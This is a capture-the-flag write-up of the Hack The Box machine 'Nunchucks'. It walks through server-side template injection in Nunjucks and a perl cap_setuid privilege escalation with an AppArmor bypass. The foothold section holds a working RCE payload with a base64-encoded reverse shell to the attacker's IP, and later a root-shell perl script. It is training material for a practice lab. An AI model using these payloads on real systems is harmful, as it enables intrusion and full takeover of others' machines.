Nunchucks Writeup
05 October 2022 #CTF #HTB #box #easy #linuxEnumeration
You WILL run an nmap
scan and you WILL be happy:
$ sudo nmap -p- -T4 -oN enum/fulltcp.nmap 10.10.11.122
[...]
22/tcp open ssh
80/tcp open http
443/tcp open https
[...]
$ ports=$(awk -F/ '/^[[:digit:]]{1,5}\// {printf "%s,", $1}' enum/fulltcp.nmap)
$ sudo nmap -p $ports -sCV -oN enum/scripts.nmap 10.10.11.122
[...]
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 6c:14:6d:bb:74:59:c3:78:2e:48:f5:11:d8:5b:47:21 (RSA)
| 256 a2:f4:2c:42:74:65:a3:7c:26:dd:49:72:23:82:72:71 (ECDSA)
|_ 256 e1:8d:44:e7:21:6d:7c:13:2f:ea:3b:83:58:aa:02:b3 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://nunchucks.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
|_http-title: Nunchucks - Landing Page
| ssl-cert: Subject: commonName=nunchucks.htb/organizationName=Nunchucks-Certificates/stateOrProvinceName=Dorset/countryName=UK
| Subject Alternative Name: DNS:localhost, DNS:nunchucks.htb
| Not valid before: 2021-08-30T15:42:24
|_Not valid after: 2031-08-28T15:42:24
| tls-nextprotoneg:
|_ http/1.1
| tls-alpn:
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.18.0 (Ubuntu)
[...]
HTTP
First things first: add nunchucks.htb
to /etc/hosts
as the nmap
scan told us.
Now we can visit the website:
There is a signup page:
But it looks like we can't register a new account.
Same for login:
We have a domain name so we can try subdomain bruteforcing with gobuster
in vhost
mode:
$ gobuster vhost -u https://nunchucks.htb/ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -o enum/443-nunchucks.htb.vhost
Found: store.nunchucks.htb (Status: 200) [Size: 4029]
After adding store.nunchucks.htb
to /etc/hosts
(again) we can check out the page:
We have this email input field to play with. Let's do it in Burp:
Our email address is displayed on the response so we can try common SSTI payloads like {{7*7}}
:
And it works. Now we have to find out what templating engine is used. We know the website uses Express.js (from the X-Powered-By
header) so we can look only for those that are used with Express. Here is a list that contains a template engine called 'Nunjucks' which is most likely what we want, given the name of the box.
Foothold
Going to hacktricks we find a rce payload that we'll modify a bit to send us a reverse shell from base64:
{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('echo -n YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTQvNDI0MiAgICAwPiYx | base64 -d | bash')\")()}}
And boom, we get in as 'david'.
Privesc
Going to david's home directory to get the user flag, we notice a .viminfo
file:
david@nunchucks:~$ ls -lA
total 44
lrwxrwxrwx 1 root root 9 Aug 28 2021 .bash_history -> /dev/null
-rw-r--r-- 1 david david 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 david david 3771 Feb 25 2020 .bashrc
drwxr-xr-x 7 david david 4096 Sep 25 2021 .cache
drwx------ 8 david david 4096 Sep 25 2021 .config
drwx------ 3 david david 4096 Sep 25 2021 .gnupg
drwx------ 3 david david 4096 Sep 25 2021 .local
drwxrwxr-x 5 david david 4096 Oct 5 14:27 .pm2
-rw-r--r-- 1 david david 807 Feb 25 2020 .profile
-r--r----- 1 root david 33 Oct 5 14:27 user.txt
-rw------- 1 david david 5116 Oct 22 2021 .viminfo
viminfo files are like history files so it might be interesting. Inside we can see some stuff about a script in /opt
so let's go there:
david@nunchucks:~$ ls -A /opt
backup.pl web_backups
david@nunchucks:~$ ls /opt/web_backups/
backup_2021-09-26-1632618416.tar backup_2021-09-26-1632619104.tar
The script will backup the contents of /var/www
but the interesting thing is that is using setuid
:
david@nunchucks:~$ head -6 /opt/backup.pl
#!/usr/bin/perl
use strict;
use POSIX qw(strftime);
use DBI;
use POSIX qw(setuid);
POSIX::setuid(0);
david@nunchucks:~$ getcap $(which perl)
/usr/bin/perl = cap_setuid+ep
The perl binary as indeed the setuid capability.
However running the command from GTFObins fails:
david@nunchucks:~$ perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
david@nunchucks:~$ id
uid=1000(david) gid=1000(david) groups=1000(david)
The way I got this to work is by writing a perl script that does exactly what the previous command does:
david@nunchucks:~$ cat gimmeroot.sh
#!/usr/bin/perl
use POSIX qw(setuid);
POSIX::setuid(0);
exec "/bin/sh";
david@nunchucks:~$ chmod +x gimmeroot.sh
david@nunchucks:~$ ./gimmeroot.sh
# id
uid=0(root) gid=1000(david) groups=1000(david)
The reason the one liner didn't work is because of AppArmor. If you want a good explanation, check out 0xdf's post.
Key Takeaways
- Input echoed on the page -> try SSTI
- Use scripts with a shebang (
#!
) to bypass AppArmor (kekw)